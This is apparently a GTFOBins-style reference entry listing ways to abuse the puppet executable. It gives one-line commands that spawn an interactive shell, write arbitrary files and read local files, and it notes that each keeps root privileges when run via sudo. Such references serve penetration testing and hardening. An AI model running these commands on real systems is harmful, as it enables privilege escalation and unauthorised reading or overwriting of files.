puppet

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }"
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }"

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    puppet apply -e 'file { "/path/to/output-file": content => "DATA" }'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    puppet apply -e 'file { "/path/to/output-file": content => "DATA" }'

File read

This executable can read data from local files.
  1. CommentThe read file content is corrupted by the diff output format. The actual diff command is executed.
    This function can be performed by any unprivileged user.
    puppet filebucket -l diff /dev/null /path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    puppet filebucket -l diff /dev/null /path/to/input-file